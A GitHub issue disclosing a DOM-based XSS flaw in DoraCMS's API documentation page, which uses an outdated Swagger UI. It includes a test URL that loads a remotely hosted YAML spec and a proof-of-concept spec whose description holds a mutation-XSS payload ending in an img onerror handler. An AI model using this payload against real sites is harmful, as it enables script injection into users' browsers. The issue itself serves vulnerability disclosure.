Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Doracms v2.1.8 and later ApiDoc Dom-based XSS #263

Open
Lq0ne opened this issue Mar 7, 2024 · 0 comments
Open

Doracms v2.1.8 and later ApiDoc Dom-based XSS #263

Lq0ne opened this issue Mar 7, 2024 · 0 comments

Comments

@Lq0ne
Copy link

Lq0ne commented Mar 7, 2024

Doracms uses outdated version of swagger to build apidoc, which contains a known Dom-based XSS vulnerability.
You can just add this parameter to the URL to test your site.
https://[HOST]/static/apidoc/index.html?url=https://jumpy-floor.surge.sh/test.yaml

image

POC:

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror=alert('xss')>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant